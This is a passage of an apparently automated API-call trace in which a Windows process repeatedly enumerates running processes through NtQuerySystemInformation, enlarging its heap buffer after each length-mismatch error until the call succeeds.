ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0048.834] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0048.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0048.834] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0048.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.834] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0048.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.835] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0048.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.835] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0048.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.835] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0048.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.835] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0048.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.835] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0048.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.836] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0048.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.836] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0048.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.836] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0048.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0048.836] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0048.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0049.233] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0049.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0049.233] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0049.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0049.234] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0049.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0049.234] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0049.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0049.234] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0049.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0049.234] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0049.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.234] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0049.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.235] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0049.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.235] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0049.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.235] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0049.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.235] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0049.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.235] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0049.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.236] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0049.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.236] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0049.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.236] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0049.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.236] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0049.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.237] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0049.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.237] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0049.238] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0049.848] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0049.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0049.848] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0049.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0049.848] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0049.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0049.848] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0049.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0049.849] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0049.849] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0049.849] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0049.849] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.849] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0049.849] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.849] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0049.849] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.849] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0049.849] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.850] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0049.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.850] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0049.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.850] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0049.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.850] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0049.851] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.851] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0049.851] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.851] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0049.851] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.851] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0049.851] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.852] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0049.852] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.852] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0049.852] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.852] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0049.852] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0049.853] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0049.853] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0051.226] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0051.226] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0051.226] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0051.226] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.227] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0051.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.227] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0051.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.227] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0051.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.227] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0051.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.227] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0051.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.228] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0051.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.228] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0051.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.228] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0051.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.228] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0051.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.228] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0051.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.229] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0051.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.229] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0051.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.229] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0051.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.230] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0051.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.230] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0051.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.230] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0051.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.230] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0051.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.231] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0051.231] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0051.534] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0051.534] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0051.534] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0051.535] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.535] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0051.535] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.535] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0051.535] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.535] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0051.535] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0051.535] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0051.535] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.536] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0051.536] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.536] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0051.536] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.536] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0051.536] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.536] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0051.536] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.537] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0051.537] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.537] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0051.537] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.537] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0051.537] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.537] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0051.538] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.538] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0051.538] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.538] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0051.538] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.538] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0051.538] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.539] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0051.539] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.539] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0051.539] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0051.539] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0051.539] NtQuerySystemInformation 